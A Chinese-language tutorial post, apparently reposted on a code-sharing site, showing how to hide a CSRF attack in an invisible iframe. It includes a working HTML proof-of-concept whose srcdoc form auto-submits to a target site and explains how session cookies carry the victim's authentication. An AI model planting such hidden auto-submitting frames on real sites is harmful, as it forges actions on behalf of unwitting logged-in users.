如何使用iframe實現隱藏的CSRF


1、攻擊者在“頁面1”中http://www.b.com/indexb.html中寫下如下代碼:

 1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
 2 
 3 <html>
 4 
 5     <head>
 6 
 7         <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 8 
 9         <title>Welcome to CSRF</title>
10 
11     </head>
12 
13     <p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>
14     
15     <body>    
16     <!--hidden屬性使內聯框架iframe隱藏,這樣的CSRF隱蔽-->
17         <iframe  hidden  width=1000 heigth=100 src="#" srcdoc='
18         
19             <form action="http://www.a.com/indexa.html" id="register" method="get" name="form">
20                 <input type=text name="username" value=""  />
21                 <input type=password name="password" value="" />
22             </form>
23     
24             <script>
25                 var f = document.getElementById("register");
26                 console.log(f.username.value);
27                 f.username.value="test";
28                 f.password.value="passwd";
29                 //進行自動提交
30                 document.form.submit(); 
31             </script>
32     
33         '></iframe>
34     
35     </body>
36 
37 </html>
View Code

2、當訪問”頁面1“時,這段代碼向http://www.a.com/indexa.html發送了一個GET請求(當然POST也可以),而且是當用戶訪問的時候自動提交的。由於內嵌在iframe中且iframe設置了hidden屬性,所以你看不到瀏覽器界面有什么變化(url沒有變化,也看不到iframe)。假如用戶在訪問”頁面1“之前已經訪問過了網站”http://www.a.com/indexa.html“同域下的其他認證頁面,這時,只要瀏覽器沒有關閉或者重啟的化(關閉認證的tab頁沒有影響),則臨時cookie(一般認證通過設置cookie的方式實現)即session cookie會存在於內存中;在內存中的session cookie未消失之前,訪問同域下的其他頁面,瀏覽器就會在這些頁面的header中帶上cookie值。通過上面這樣的方式便實現了授權的CSRF。

3、臨時cookie存在於內存中,瀏覽器關閉或者重啟,釋放內存,才會清空臨時cookie;本地cookie存在於硬盤上,只要到期后才會消失

4、IE瀏覽器目前不支持iframe的srcdoc屬性,因此IE不適用本文,其他主流瀏覽器可以,如下所示:

 

 

5、另外除了IE瀏覽器,其他瀏覽器都可以在<iframe>/<img>/<link>/<script>等標簽中發送本地cookie;但是所有瀏覽器都發送Session Cookie


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM